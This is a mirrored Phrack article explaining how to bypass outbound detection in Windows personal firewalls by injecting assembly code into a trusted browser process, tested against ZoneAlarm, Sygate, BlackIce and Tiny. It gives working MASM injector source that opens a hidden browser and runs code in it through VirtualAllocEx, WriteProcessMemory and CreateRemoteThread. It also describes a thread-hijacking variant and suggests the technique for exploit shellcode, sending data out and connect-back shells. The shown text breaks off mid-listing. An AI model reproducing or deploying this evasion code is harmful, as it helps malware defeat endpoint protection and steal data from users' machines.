mirror of
https://github.com/fdiskyou/Zines.git
synced 2025-03-09 00:00:00 +01:00
2152 lines
88 KiB
Text
2152 lines
88 KiB
Text
==Phrack Inc.==
|
|
|
|
Volume 0x0b, Issue 0x3e, Phile #0x0d of 0x10
|
|
|
|
|=--=[ Using Process Infection to Bypass Windows Software Firewalls ]=--=|
|
|
|=-----------------------------------------------------------------------=|
|
|
|=---------------------------=[ rattle ]=--------------------------------=|
|
|
|
|
|
|
-[0x00] :: Table Of Contents ---------------------------------------------
|
|
|
|
[0x01] introduction
|
|
[0x02] how software firewalls work
|
|
[0x03] process Infection without external .dll
|
|
[0x04] problems of implementation
|
|
[0x05] how to implement it
|
|
[0x06] limits of this implementation
|
|
[0x07] workaround: another infection method
|
|
[0x08] conclusion
|
|
[0x09] last words
|
|
|
|
[0x0A] references
|
|
|
|
[0x0B] injector source code
|
|
[0x0C] Tiny bypass source code
|
|
[0x0D] binaries (base64)
|
|
|
|
|
|
|
|
-[0x01] :: introduction --------------------------------------------------
|
|
|
|
This entire document refers to a feature of software firewalls
|
|
available for Windows OS, which is called "outbound detection".
|
|
This feature has nothing to do with the original idea of a
|
|
firewall, blocking incomming packets from the net: The outbound
|
|
detection mechanism is ment to protect the user from malicious
|
|
programs that run on his own computer - programs attempting to
|
|
communicate with a remote host on the Internet and thereby
|
|
leaking sensible information. In general, the outbound detection
|
|
controls the communication of local applications with the
|
|
Internet.
|
|
|
|
In a world with an increasing number of trojan horses, worms
|
|
and virii spreading in the wild, this is actually a very handy
|
|
feature and certainly, it is of good use. However, ever since
|
|
I know about software firewalls, I have been wondering whether
|
|
they could actually provide a certain level of security at all:
|
|
After all, they are just software supposed protect you against
|
|
other software, and this sounds like bad idea to me.
|
|
|
|
To make a long story short, this outbound detection can be
|
|
bypassed, and that's what will be discussed in this paper.
|
|
I moreover believe that if it is possible to bypass this one
|
|
restriction, it is somehow possible to bypass other restrictions
|
|
as well. Personal firewalls are software, trying to control
|
|
another piece of software. It should in any case be possible
|
|
to turn this around by 180 degrees, and create a piece of
|
|
software that controls the software firewall.
|
|
|
|
Also, how to achieve this in practice is part of the discussion
|
|
that will follow: I will not just keep on talking about abstract
|
|
theory. It will be explained and illustrated with sample source
|
|
code how to bypass a software firewall by injecting code to a
|
|
trusted process. It might be interesting to you that the method
|
|
of runtime process infection that will be presented and explained
|
|
does not require an external DLL - the bypass can be performed
|
|
by a stand-alone and tiny executable.
|
|
|
|
Thus, this paper is also about coding, especially Win32 coding.
|
|
To understand the sample code, you should be familiar with
|
|
Windows, the Win32 API and basic x86 Assembler. It would also be
|
|
good to know something about the PE format and related things,
|
|
but it is not necessary, as far as I can see. I will try to
|
|
explain everything else as precisely as possible.
|
|
|
|
Note: If you find numbers enclosed in normal brackets within
|
|
the document, these numbers are references to further sources.
|
|
See [0x0A] for more details.
|
|
|
|
|
|
|
|
-[0x02] :: how software firewalls work -----------------------------------
|
|
|
|
Of course, I can only speak about the software firewalls I have
|
|
seen and tested so far, but I am sure that these applications
|
|
are among the most widely used ones. Since all of them work in a
|
|
very similar way, I assume that the concept is a general concept
|
|
of software firewalls.
|
|
|
|
Almost every modern software firewall provides features that
|
|
simulate the behaviour of hardware firewalls by allowing the
|
|
user to block certain ports. I have not had a close look on
|
|
these features and once more I want to emphasize that breaking
|
|
these restrictions is outside the scope of this paper.
|
|
|
|
Another important feature of most personal firewalls is the
|
|
concept of giving privileges and different levels of trust to
|
|
different processes that run on the local machine to provide a
|
|
measure of outbound detection. Once a certain executable creates
|
|
a process attempting to access the network, the executable file
|
|
is checksummed by the software firewall and the user is prompted
|
|
whether or not he wants to trust the respective process.
|
|
|
|
To perform this task, the software firewall is most probably
|
|
installing kernel mode drivers and hooks to monitor and intercept
|
|
calls to low level networking routines provided by the Windows OS
|
|
core. Appropriately, the user can trust a process to connect() to
|
|
another host on the Internet, to listen() for connections or to
|
|
perform any other familiar networking task. The main point is: As
|
|
soon as the user gives trust to an executable, he also gives
|
|
trust to any process that has been created from that executable.
|
|
However, once we change the executable, its checksum would no
|
|
longer match and the firewall would be alerted.
|
|
|
|
So, we know that the firewall trusts a certain process as long as
|
|
the executable that created it remains the same. We also know that
|
|
in most cases, a user will trust his webbrowser and his email
|
|
client.
|
|
|
|
|
|
|
|
|
|
-[0x03] :: process Infection without external .dll -----------------------
|
|
|
|
The software firewall will only calculate and analyze the checksum
|
|
for an executable upon process creation. After the process has
|
|
been loaded into memory, it is assumed to remain the same until it
|
|
terminates.
|
|
|
|
And since I have already spoken about runtime process infection,
|
|
you certainly have guessed what will follow. If we cannot alter
|
|
the executable, we will directly go for the process and inject
|
|
our code to its memory, run it from there and bypass the firewall
|
|
restriction.
|
|
|
|
If this was a bit too fast for you, no problem. A process is
|
|
loaded into random access memory (RAM) by the Windows OS as soon
|
|
as a binary, executable file is executed. Simplified, a process
|
|
is a chunk of binary data that has been placed at a certain
|
|
address in memory. In fact, there is more to it. Windows does a
|
|
lot more than just writing binary data to some place in memory.
|
|
For making the following considerations, none of that should
|
|
bother you, though.
|
|
|
|
For all of you who are already familiar with means of runtime
|
|
process infection - I really dislike DLL injection for this
|
|
purpose, simply because there is definitely no option that could
|
|
be considered less elegant or less stealthy.
|
|
|
|
In practice, DLL injection means that the executable that
|
|
performs the bypass somehow carries the additional DLL it
|
|
requires. Not only does this heaviely increase the size of the
|
|
entire code, but this DLL also has to be written to HD on the
|
|
affected system to perform the bypass. And to be honest - if
|
|
you are really going to write some sort of program that needs
|
|
a working software firewall bypass, you exactly want to avoid
|
|
this sort of flaws. Therefore, the presented method of runtime
|
|
process infection will work completely without the need of any
|
|
external DLL and is written in pure x86 Assembly.
|
|
|
|
To sum it all up: All that is important to us now is the ability
|
|
to get access to a process' memory, copy our own code into that
|
|
memory and execute the code remotely in the context of that
|
|
process.
|
|
|
|
Sounds hard? Not at all. If you have a well-founded knowledge of
|
|
the Win32 API, you will also know that Windows gives a programmer
|
|
everything he needs to perform such a task. The most important
|
|
API call that comes to mind probably is CreateRemoteThread().
|
|
Quoting MSDN (1):
|
|
|
|
The CreateRemoteThread function creates a thread that
|
|
runs in the address space of another process.
|
|
|
|
HANDLE CreateRemoteThread(
|
|
HANDLE hProcess,
|
|
LPSECURITY_ATTRIBUTES lpThreadAttributes,
|
|
DWORD dwStackSize,
|
|
LPTHREAD_START_ROUTINE lpStartAddress,
|
|
LPVOID lpParameter,
|
|
DWORD dwCreationFlags,
|
|
LPDWORD lpThreadId
|
|
);
|
|
|
|
Great, we can execute code at a certain memory address inside
|
|
another process and we can even pass one DWORD of information as
|
|
a parameter to it. Moreover, we will need the following 2 API
|
|
calls:
|
|
|
|
VirtualAllocEx()
|
|
WriteProcessMemory()
|
|
|
|
they give us the power to inject our own arbitrary code to the
|
|
address space of another process - and once it is there, we will
|
|
create a thread remotely to execute it.
|
|
|
|
To sum everything up: We will create a binary executable that
|
|
carries the injection code as well as the code that has to be
|
|
injected in order to bypass the software firewall. Or, speaking
|
|
in high-level programming terms: We will create an exe file that
|
|
holds two functions, one to inject code to a trusted process
|
|
and one function to be injected.
|
|
|
|
|
|
|
|
-[0x04] :: problems of this implementation -------------------------------
|
|
|
|
It all sounds pretty easy now, but it actually is not. For
|
|
instance, you will barely be able to write an application in C
|
|
that properly injects another (static) C function to a remote
|
|
process. In fact, I can almost guarantee you that the remote
|
|
process will crash. Although you can call the relevant API calls
|
|
from C, there are much more underlying problems with using a
|
|
high level language for this purpose. The essence of all these
|
|
problems can be summed up as follows: compilers produce ASM code
|
|
that uses hardcoded offsets. A simple example: Whenever you use
|
|
a constant C string, this C string will be stored at a certain
|
|
position within the memory of your resulting executable, and any
|
|
reference to it will be hardcoded. This means, when your process
|
|
needs to pass the address of that string to a function, the
|
|
address will be completely hardcoded in the binary code of your
|
|
executable.
|
|
|
|
Consider:
|
|
|
|
void main() {
|
|
printf("Hello World");
|
|
return 0;
|
|
}
|
|
|
|
Assume that the string "Hello World" is stored at offset 0x28048
|
|
inside your executable. Moreover, the executable is known to
|
|
load at a base address of 0x00400000. In this case, the binary
|
|
code of your compiled and linked executable will somewhere refer
|
|
to the address 0x00428048 directly.
|
|
|
|
A disassembly of such a sample application, compiled with Visual
|
|
C++ 6, looks like this:
|
|
|
|
00401597 ...
|
|
00401598 push 0x00428048 ; the hello world string
|
|
0040159D call 0x004051e0 ; address of printf
|
|
0040159E ...
|
|
|
|
What is the problem with such a hardcoded address? If you stay
|
|
inside your own address space, there is no problem. However ...
|
|
once you move that code to another address space, all those
|
|
memory addresses will point to entirely different things. The
|
|
hello world string in my example is more than 0x20000 = 131072
|
|
bytes away from the actual program code. So, if you inject that
|
|
code to another process space, you would have to make sure that
|
|
at 0x00428048, there is a valid C string ... and even if there
|
|
was something like a C string, it would certainly not be
|
|
"Hello World". I guess you get the point.
|
|
|
|
This is just a simple example and does not even involve all the
|
|
problems that can occur. However, also the addresses of all
|
|
function calls are hardcoded, like the address of the printf
|
|
function in our sample. In another process space, these
|
|
functions might be somewhere else or they could even be missing
|
|
completely - and this leads to the most weird errors that you
|
|
can imagine. The only way to make sure that all the addresses
|
|
are correct and that every single CPU instruction fits, we have
|
|
to write the injected code in ASM.
|
|
|
|
Note: There are several working implementations for an outbound
|
|
detection bypass for software firewalls on the net using a
|
|
dynamic link library injection. This means, the implementation
|
|
itself consists of one executable and a DLL. The executable
|
|
forces a trusted process to load the DLL, and once it has been
|
|
loaded into the address space of this remote process, the DLL
|
|
itself performs any arbitrary networking task. This way to bypass
|
|
the detection works very well and it can be implemented in a high
|
|
level language easiely, but I dislike the dependency on an
|
|
external DLL, and therefore I decided to code a solution with one
|
|
single stand-alone executable that does the entire injection by
|
|
itself. Refer to (2) for an example of a DLL injection bypass.
|
|
|
|
Also, LSADUMP2 (3) uses exactly the same measure to grab
|
|
the LSA secrets from LSASS.EXE and it is written in C.
|
|
|
|
|
|
|
|
-[0x05] :: how to implement it -------------------------------------------
|
|
|
|
Until now, everything is just theory. In practice, you will
|
|
always encounter all kinds of problems when writing code like
|
|
this. Furthermore, you will have to deal with detail questions
|
|
that have only partially to do with the main problem. Thus,
|
|
let us leave the abstract part behind and think about how to
|
|
write some working code.
|
|
|
|
Note: I strongly recommend you to browse the source code in
|
|
[A] while reading this part, and it would most definitely be a
|
|
good idea to have a look at it before reading [0x0B].
|
|
|
|
First of all, we want to avoid as much hardcoded elements as
|
|
possible. And the first thing we need is the file path to the
|
|
user's default browser. Rather than generally refering to
|
|
"C:\Program Files\Internet Explorer\iexplore.exe", we will
|
|
query the registry key at "HKCR\htmlfile\shell\open\command".
|
|
|
|
Ok, this will be rather easy, I assume you know how to query
|
|
the registry. The next thing to do is calling CreateProcess().
|
|
The wShowWindow value of the STARTUP_INFO structure passed to
|
|
the function should be something like SW_HIDE in order to keep
|
|
the browser window hidden.
|
|
|
|
Note: If you want to make entirely sure that no window is
|
|
displayed on the user's screen, you should put more effort
|
|
into this. You could, for instance, install a hook to keep all
|
|
windows hidden that are created by the process or do similar
|
|
things. I have only tested my example with Internet Explorer
|
|
and the SW_HIDE trick works well with it. In fact, it should
|
|
work with most applications that have a more or less simple
|
|
graphical user interface.
|
|
|
|
To ensure that the process has already loaded the most
|
|
essential libraries and has reached a generally stable state,
|
|
we use the WaitForInputIdle() call to give the process some
|
|
time for intialization.
|
|
|
|
So far, so good - now we proceed by calling VirtualAllocEx()
|
|
to allocate memory within the created process and with
|
|
WriteProcessMemory(), we copy our networking code. Finally,
|
|
we use CreateRemoteThread() to run that code and then, we only
|
|
have to wait until the thread terminates. All in all, the
|
|
injection itself is not all that hard to perform.
|
|
|
|
The function that will be injected can receive a single
|
|
argument, one double word. In the example that will be
|
|
presented in [0x0B], the injected procedure connects to
|
|
www.phrack.org on port 80 and sends a simple HTTP GET request.
|
|
After receiving the header, it displays it in a message box.
|
|
Since this is just a very basic example of a working firewall
|
|
bypass code, our injected procedure will do everything on its
|
|
own and does not need any further information.
|
|
|
|
However, we will still use the parameter to pass a 32 bit
|
|
value to our injected procedure: its own "base address". Thus,
|
|
the injected code knows at which memory address it has been
|
|
placed, in the conetxt of the remote process. This is very
|
|
important as we cannot directly read from the EIP register
|
|
and because our injected code will sometimes have to refer to
|
|
memory addresses of data structures inside the injected code
|
|
itself.
|
|
|
|
Once injected and placed within the remote process, the
|
|
injected code basically knows nothing. The first important
|
|
task is finding the kernel32.dll base address in the context
|
|
of the remote process and from there, get the address of the
|
|
GetProcAddress function to load everything else we need. I
|
|
will not explain in detail how these values are retrieved,
|
|
the entire topic cannot be covered by this paper. If you are
|
|
interested in details, I recommend the paper about Win32
|
|
assembly components by the Last Stage of Delirium research
|
|
group (4). I used large parts of their write-up for the
|
|
code that will be described in the following paragraphs.
|
|
|
|
In simple terms, we retrieve the kernel32 base address from
|
|
the Process Environment Block (PEB) structure which itself
|
|
can be found inside the Thread Environment Block (TEB). The
|
|
offset of the TEB is always stored within the FS register,
|
|
thus we can easiely get the PEB offset as well. And since
|
|
we know where kernel32.dll has been loaded, we just need to
|
|
loop through its exports section to find the address of
|
|
GetProcAddress(). If you are not familiar with the PE format,
|
|
don't worry.
|
|
|
|
A dynamic link library contains a so-called exports section.
|
|
Within this section, the offsets of all exported functions
|
|
are assigned to human-readable names (strings). In fact,
|
|
there are two arrays inside this section that interest us.
|
|
There are actually more than 2 arrays inside the exports
|
|
section, but we will only use these two lists. For the rest
|
|
of this paper, I will treat the terms "list" and "array"
|
|
equally, the formal difference is of no importance at this
|
|
level of programming. One array is a list of standard,
|
|
null-terminated C-strings. They contain the function names.
|
|
The second list holds the function entry points (the
|
|
offsets).
|
|
|
|
We will do something very similar to what GetProcAddress()
|
|
itself does: We will look for "GetProcAddress" in the first
|
|
list and find the function's offset within the second array
|
|
this way.
|
|
|
|
Unfortunately, Microsoft came up with an idea for their DLL
|
|
exports that makes everything much more complicated. This
|
|
idea is named "forwarders" and basically means that one DLL
|
|
can forward the export of a function to another DLL. Instead
|
|
of pointing to the offset of a function's code inside the DLL,
|
|
the offset from the second array may also point to a null-
|
|
terminated string. For instance, the function HeapAlloc() from
|
|
kernel32.dll is forwarded to the RtlAllocateHeap function in
|
|
ntdll.dll. This means that the alleged offset of HeapAlloc()
|
|
in kernel32.dll will not be the offset of a function that has
|
|
been implemented in kernel32.dll, but it will actually be the
|
|
offset of a string that has been placed inside kernel32.dll.
|
|
This particular string is "NTDLL.RtlAllocateHeap".
|
|
|
|
After a while, I could figure out that this forwarder-string
|
|
is placed immediately after the function's name in array #1.
|
|
Thus, you will find this chunk of data somewhere inside
|
|
kernel32.dll:
|
|
|
|
48 65 61 70 41 6C 6C 6F HeapAllo
|
|
63 00 4E 54 44 4C 4C 2E c.NTDLL.
|
|
52 74 6C 41 6C 6C 6F 63 RtlAlloc
|
|
61 74 65 48 65 61 70 00 ateHeap.
|
|
|
|
= "HeapAlloc\0NTDLL.RtlAllocateHeap\0"
|
|
|
|
This is, of course, a bit confusing as there are now more null-
|
|
terminated strings in the first list than offsets in the second
|
|
list - every forwarder seems like a function name itself.
|
|
However, bearing this in mind, we can easiely take care of the
|
|
forwarders in our code.
|
|
|
|
To identify the "GetProcAddress" string, I also make use of a
|
|
hash function for short strings which is presented by LSD group
|
|
in their write-up (4). The hash function looks like this in C:
|
|
|
|
unsigned long hash(const char* strData) {
|
|
unsigned long hash = 0;
|
|
char* tChar = (char*) strData;
|
|
while (*tChar) hash = ((hash<<5)|(hash>>27))+*tChar++;
|
|
return hash;
|
|
}
|
|
|
|
The calculated hash for "GetProcAddr" is, 0x099C95590 and we
|
|
will search for a string in the exports section of kernel32.dll
|
|
that matches this string. Once we have the address of
|
|
GetProcAddress() and the base address of kernel32, we can
|
|
easiely load all other API calls and libraries we need. From
|
|
here, everything left to do is loading ws2_32.dll and using the
|
|
socket system calls from that library to do whatever we want.
|
|
|
|
Note: I'd suggest to read [0x0B] now.
|
|
|
|
|
|
|
|
-[0x06] :: limits of this implementation ---------------------------------
|
|
|
|
The sample code presented in this little paper will give you a
|
|
tiny executable that runs in RING3. I am certain that most
|
|
software firewalls contain kernel mode drivers with the ability
|
|
to perform more powerful tasks than this injector executable.
|
|
Therefore, the capabilities of the bypass code are obviously
|
|
limited. I have tested the bypass against several software
|
|
firewalls and got the following results:
|
|
|
|
Zone Alarm 4 vulnerable
|
|
Zone Alarm Pro 4 vulnerable
|
|
Sygate Pro 5.5 vulnerable
|
|
BlackIce 3.6 vulnerable
|
|
Tiny 5.0 immune
|
|
|
|
Tiny alerts the user that the injector executable spawns the
|
|
browser process, trying to access the network this way. It looks
|
|
like Tiny simply acts exactly like all the other software
|
|
firewalls do, but it is just more careful. Tiny also hooks API
|
|
calls like CreateProcess() and CreateRemoteThread() - thus, it
|
|
can protect its users from this kind of bypass.
|
|
|
|
Anyway, by the test results I obtained, I was even more
|
|
confirmed that software firewalls act as kernel mode drivers,
|
|
hooking API calls to monitor networking activity.
|
|
|
|
Thus, I have not presented a firewall bypass that works in 100%
|
|
of all possible cases. It is just an example, a proof for the
|
|
general possibility to perform a bypass.
|
|
|
|
|
|
|
|
-[0x07] :: workaround: another infection method --------------------------
|
|
|
|
Phrack Staff suggested to present a workaround for the problem
|
|
with Tiny by infecting an already running, trusted process.
|
|
I was certain that this would not be the only thing to take
|
|
care of, since Tiny would most likely be hooking our best friend,
|
|
CreateRemoteThread(). Unfortunately, I actually figured out that
|
|
I had been right, and merely infecting an already running
|
|
process did not work against Tiny.
|
|
|
|
However, there are other ways to force execution of our own
|
|
injected code, and I will briefly explain my workaround for
|
|
those of you who are interested. All I am trying to prove here
|
|
is that you can outsmart any software firewall if you put some
|
|
effort into coding an appropriate bypass.
|
|
|
|
The essential API calls we will need are GetThreadContext() and
|
|
appropriately, SetThreadContext(). These two briefly documented
|
|
functions allow you to modify the CONTEXT of a thread. What is
|
|
the CONTEXT of a thread? The CONTEXT structure contains the
|
|
current value of all CPU registers in the context of a certain
|
|
thread. Hence, with the two API calls mentioned above, you can
|
|
retrieve these values and, more importantly, apply new values
|
|
to each CPU register in the thread's context as well. Of high
|
|
interest to us is the EIP register, the instruction pointer for
|
|
a thread.
|
|
|
|
First of all, we will simply find an already running, trusted
|
|
process. Then, as always, we write our code to its memory using
|
|
the methods already discussed before. This time, however, we
|
|
will not create a new thread that starts at the address of our
|
|
injected code, we will rather hijack the primary thread of the
|
|
trusted process by changing its instruction pointer to the
|
|
address of our own code.
|
|
|
|
That's the essential theory behind this second bypass, at least.
|
|
In practice, we will proceed more cautiously to be as stealthy
|
|
as possible. First of all, we will not simply write the injection
|
|
function to the running process, but several other ASM codes as
|
|
well, in order to return to the original context of the hijacked
|
|
thread once our injected code has finished its work. As you can
|
|
see from the ASM source code in [0x0C], we want to copy a chunk
|
|
of shellcode to the process that looks like this in a debugger:
|
|
|
|
<base + 0x00> PUSHAD ; safe all registers
|
|
<base + 0x01> PUSHFD ; safe all flags
|
|
<base + 0x02> PUSH <base + 0x13> ; first argument: own address
|
|
<base + 0x07> CALL <base + 0x13> ; call the injected code
|
|
<base + 0x0C> POPFD ; restore flags
|
|
<base + 0x0D> POPAD ; restore registers
|
|
<base + 0x0E> JMP <orignal EIP> ; "restore" original context
|
|
<base + 0x13> ... ; inject function starts here
|
|
|
|
Remember, this code is being injected at a memory offset very
|
|
far away from the original context of the thread. That's why
|
|
we will need a 4 byte - relative address for the JMP.
|
|
|
|
All in all, this is an easy and simple solution to avoid that
|
|
our trusted process just crashes after the injected code has
|
|
run. Moreover, I decided to use an event object that becomes
|
|
signaled by the injected code once the HTTP request has been
|
|
performed successfully. This way, the injector executable
|
|
itself is informed once the injected routine has finished its
|
|
job. We can then deallocate the remote memory and perform a
|
|
general cleanup. Stealthieness is everything.
|
|
|
|
I should say that [0x0C] is a bit more fragile and less reliable
|
|
than the first bypass shown in [0x0B]. However, this second one
|
|
will definitely work against all tested firewalls and most
|
|
probably also against others. Nevertheless, you should bear in
|
|
mind that it assumes Internet Explorer to be a trusted process
|
|
without looking up anything in the registry or elsewhere.
|
|
|
|
Furthermore, I only used this second bypass together with a
|
|
running instance of Internet Explorer, other applications might
|
|
require you not to hijack the primary thread, but another one.
|
|
The primary thread is usually a safe bet as we can assume that
|
|
it does not block or idle at the moment of infection. However,
|
|
it could theoretically also happen that the program's interface
|
|
suddenly freezes because the injected code is running rather
|
|
than the code that was intended to run. With this very sample
|
|
program and internet explorer, I did not encounter such
|
|
problems, though. It also works with "OUTLOOK.EXE" and others,
|
|
so I think it can be considered a good and stable approach.
|
|
|
|
|
|
|
|
-[0x08] :: conclusion ----------------------------------------------------
|
|
|
|
I feel that I can be satisfied with the test results I obtained.
|
|
Although the injector executable is generally inferior to a
|
|
kernel mode software firewall, it could easiely trick 80% of the
|
|
most popular software firewall products.
|
|
|
|
My second bypass even works against all of them, and I am as sure
|
|
as I can be that an appropriate bypass can actually be coded for
|
|
every single software firewall. Both of the sample codes merely
|
|
send a simple HTTP request, but it would actually be quite easy
|
|
to have them perform any other networking task. For instance,
|
|
sending an email with sensitive information would work exactly
|
|
the same way. The injected code would just have to be more
|
|
sophisticated or rather, larger than the sample provided here.
|
|
|
|
Bearing in mind that I achieved this with a 5k user-mode
|
|
application, I am certain that it would be even more easy to
|
|
bypass any software firewall with an appropriate piece of code
|
|
running in RING0, eventually hooking low level calls itself.
|
|
Who knows, perhaps this technique is already being used by
|
|
people who did the same sort of research. The overall conclusion
|
|
is: software firewalls are insecure. And I am very much at ease
|
|
with this generalization: The concept of a software firewall,
|
|
not the implementation, is the main problem.
|
|
|
|
Software can not protect you from other software without being
|
|
at constant risk to be tricked by another piece of software
|
|
again.
|
|
|
|
Why is this a risk? This is in fact a huge risk because software
|
|
firewalls ARE being used on Windows Workstations widely. Within
|
|
a network, it is commonplace to use both software and hardware
|
|
firewalls. Moreover, the software firewalls in such networks only
|
|
serve the very purpose of protecting the network from backdoor
|
|
programs by supplying some sort of outbound detection. And after
|
|
all, this protection is obviously too weak.
|
|
|
|
Apart from the danger for privately used computers, which have
|
|
hereby been proven to be insufficiently protected against trojan
|
|
horses and worms, exploitation of a remote Windows Workstation
|
|
using a software firewall can most definitely involve the use of
|
|
methods described in this paper. The ASM code for the two bypass
|
|
samples can be transformed into shellcode for any remote Windows
|
|
exploit. Once a service a Windows network is found to be
|
|
vulnerable to a remote exploit, it would be also possible to
|
|
overcome the outbound detection of the respective software
|
|
firewall this way.
|
|
|
|
The sample applications connect to www.phrack.org on port 80,
|
|
but you can actually infect a trusted process and have it
|
|
do about anything along the lines of providing a shell by
|
|
connecting back to your IP.
|
|
|
|
|
|
|
|
-[0x09] :: Last Words ----------------------------------------------------
|
|
|
|
I'd like to emphasize that I am not responsible for anyone using
|
|
that sample code with his/her homemade trojan to leech porn from
|
|
his friend's PC. Seriously, this is just a sample for educational
|
|
purposes, it should not be used for any kind of illegal purpose.
|
|
|
|
Thanks a lot to Paris2K for helping me with developing and
|
|
testing the injector app. Good luck and success with your thesis.
|
|
|
|
Greets and thanks to drew, cube, the_mystic - and also many
|
|
thanks to you, jason ... for all your helpful advice.
|
|
|
|
If you want or need to contact me:
|
|
|
|
|
|
Email, MSN - rattle@awarenetwork.org
|
|
ICQ - 74684282
|
|
Website - http://www.awarenetwork.org/
|
|
|
|
|
|
.aware
|
|
|
|
|
|
|
|
-[0x0A] :: References ----------------------------------------------------
|
|
|
|
These are links to projects and papers that have been
|
|
referenced somewhere inside this document.
|
|
|
|
(1) The MSDN library provides Windows programmers with almost
|
|
all the reference they need, no doubt about that.
|
|
|
|
http://msdn.microsoft.com/
|
|
|
|
(2) Another project that bypasses the outbound detection
|
|
of software firewalls. Unfortunately, no source code
|
|
is available and it also uses and external DLL:
|
|
|
|
http://keir.net/firehole.html
|
|
|
|
(3) LSADUMP2 is the only C source code I found that
|
|
illustrates the method of injecting a DLL into another
|
|
process' address space:
|
|
|
|
http://razor.bindview.com/tools/desc/lsadump2_readme.html
|
|
|
|
(4) Many respect to the LSD research group for their nice
|
|
and easy-to-read paper "Win32 Assembly Components":
|
|
|
|
http://www.lsd-pl.net/documents/winasm-1.0.1.pdf
|
|
|
|
Perhaps you might want to check out their entire projects
|
|
section:
|
|
|
|
http://lsd-pl.net/projects.html
|
|
|
|
(5) Negatory Assembly Studio is my favourite x86 ASM IDE,
|
|
as far as an IDE for Assembly makes sense at all. You
|
|
might need it for the ASM source code provided as I
|
|
make use of it's "standard library" for Win32 calls:
|
|
|
|
http://www.negatory.com/asmstudio/
|
|
|
|
|
|
|
|
|
|
-[0x0B] :: injector.exe source code --------------------------------------
|
|
|
|
Here you go, this is the injector ASM code. I used Negatory Assembly
|
|
Studio 1.0 to create the executable, a nice freeware IDE for creating
|
|
programs in ASM for Windows (5). It internally uses the MASM Assembler
|
|
and linker, so you might also manage to use the code with MASM only
|
|
(you will be lacking the includes, though).
|
|
|
|
|
|
.386
|
|
.MODEL flat, stdcall
|
|
|
|
INCLUDE windows.inc
|
|
INCLUDE kernel32.inc
|
|
INCLUDE advapi32.inc
|
|
INCLUDE user32.inc
|
|
|
|
|
|
bypass PROTO NEAR STDCALL, browser:DWORD ; injector function
|
|
inject PROTO NEAR STDCALL, iBase:DWORD ; injected function
|
|
|
|
|
|
; The PSHS macro is used to push the address of some
|
|
; structure onto the stack inside the remote process'
|
|
; address space. iBase contains the address where the
|
|
; injected code starts.
|
|
|
|
PSHS MACRO BUFFER
|
|
MOV EDX, iBase
|
|
ADD EDX, OFFSET BUFFER - inject
|
|
PUSH EDX
|
|
ENDM
|
|
|
|
; The LPROC macro assumes that pGetProcAddress holds
|
|
; the address of the GetProcAddress() API call and
|
|
; simulates its behaviour. PROCNAME is a string inside
|
|
; the injected code that holds the function name and
|
|
; PROCADDR is a DWORD variable inside the injected
|
|
; code that will retrieve the address of that function.
|
|
; BASEDLL, as the name suggests, should hold the
|
|
; base address of the appropriate DLL.
|
|
|
|
LPROC MACRO BASEDLL, PROCNAME, PROCADDR
|
|
PSHS PROCNAME
|
|
PUSH BASEDLL
|
|
CALL pGetProcAddress
|
|
EJUMP INJECT_ERROR
|
|
MOV PROCADDR, EAX
|
|
ENDM
|
|
|
|
EJUMP MACRO TARGET_CODE ; jump when EAX is 0.
|
|
CMP EAX, 0
|
|
JE TARGET_CODE
|
|
ENDM
|
|
|
|
|
|
.DATA
|
|
|
|
sFail DB "Injection failed.",0
|
|
sCapFail DB "Failure",0
|
|
|
|
REG_BROWSER_SUBKEY DB "htmlfile\shell\open\command",0
|
|
REG_BROWSER_KEY DD ?
|
|
|
|
BROWSER DB MAX_PATH DUP(0)
|
|
BR_SIZE DD MAX_PATH
|
|
|
|
FUNCSZE EQU inject_end - inject
|
|
|
|
.CODE
|
|
|
|
|
|
Main: ; We retrieve the defaul browser path from the
|
|
; registry by querying HKCR\htmlfile\shell\open\command
|
|
|
|
|
|
INVOKE RegOpenKey, HKEY_CLASSES_ROOT, \
|
|
ADDR REG_BROWSER_SUBKEY, ADDR REG_BROWSER_KEY
|
|
|
|
CMP EAX, ERROR_SUCCESS
|
|
JNE RR
|
|
|
|
INVOKE RegQueryValue, REG_BROWSER_KEY, \
|
|
EAX, ADDR BROWSER, ADDR BR_SIZE
|
|
|
|
INVOKE RegCloseKey, REG_BROWSER_KEY
|
|
|
|
|
|
; Now we call the bypass function by supplying the
|
|
; path to the browser as the first argument.
|
|
|
|
INVOKE bypass, OFFSET BROWSER
|
|
|
|
|
|
RR: INVOKE ExitProcess, 0
|
|
|
|
|
|
|
|
bypass PROC NEAR STDCALL, browser:DWORD
|
|
|
|
LOCAL sinf :STARTUPINFO
|
|
LOCAL pinf :PROCESS_INFORMATION
|
|
|
|
LOCAL dwReturn :DWORD ; return value
|
|
LOCAL dwRemoteThreadID :DWORD ; thread ID
|
|
LOCAL thRemoteThreadHandle :DWORD ; thread handle
|
|
LOCAL pbRemoteMemory :DWORD ; base address
|
|
|
|
|
|
; Get our own startupinfo details out of lazieness
|
|
; and alter the wShowWindow attribute to SW_HIDE
|
|
|
|
INVOKE GetStartupInfo,ADDR sinf
|
|
MOV sinf.wShowWindow, SW_HIDE
|
|
|
|
|
|
; Create the brwoser process and WaitForinputIdle()
|
|
; to give it some time for initialization
|
|
|
|
INVOKE CreateProcess,0,browser,0,0,0,0,0,0, \
|
|
ADDR sinf,ADDR pinf
|
|
EJUMP ERR_CLEAN
|
|
|
|
INVOKE WaitForInputIdle, pinf.hProcess, 10000
|
|
CMP EAX,0
|
|
JNE ERR_CLEAN
|
|
|
|
MOV EBX, pinf.hProcess
|
|
MOV ECX, pinf.hThread
|
|
|
|
|
|
; Allocate memory in the remote process' address
|
|
; space and use WriteProcessMemory() to copy the
|
|
; code of the inject procedure.
|
|
|
|
MOV EDX, FUNCSZE
|
|
INVOKE VirtualAllocEx,EBX,0,EDX,MEM_COMMIT, \
|
|
PAGE_EXECUTE_READWRITE
|
|
EJUMP ERR_SUCC
|
|
|
|
MOV pbRemoteMemory,EAX
|
|
MOV EDX,FUNCSZE
|
|
|
|
INVOKE WriteProcessMemory,EBX,pbRemoteMemory, \
|
|
inject, EDX, 0
|
|
EJUMP ERR_CLEAN_VF
|
|
|
|
|
|
; The code has been copied, create a thread that
|
|
; starts at the remote address
|
|
|
|
INVOKE CreateRemoteThread,EBX,0,0,pbRemoteMemory, \
|
|
pbRemoteMemory, 0, ADDR dwRemoteThreadID
|
|
EJUMP ERR_CLEAN_TH
|
|
|
|
MOV thRemoteThreadHandle,EAX
|
|
MOV dwReturn,0
|
|
|
|
|
|
; Wait until the remote thread terminates and see what the
|
|
; return value looks like. The inject procedure will return
|
|
; a boolean value in EAX, indicating whether or not it was
|
|
; successful.
|
|
|
|
INVOKE WaitForSingleObject,thRemoteThreadHandle,INFINITE
|
|
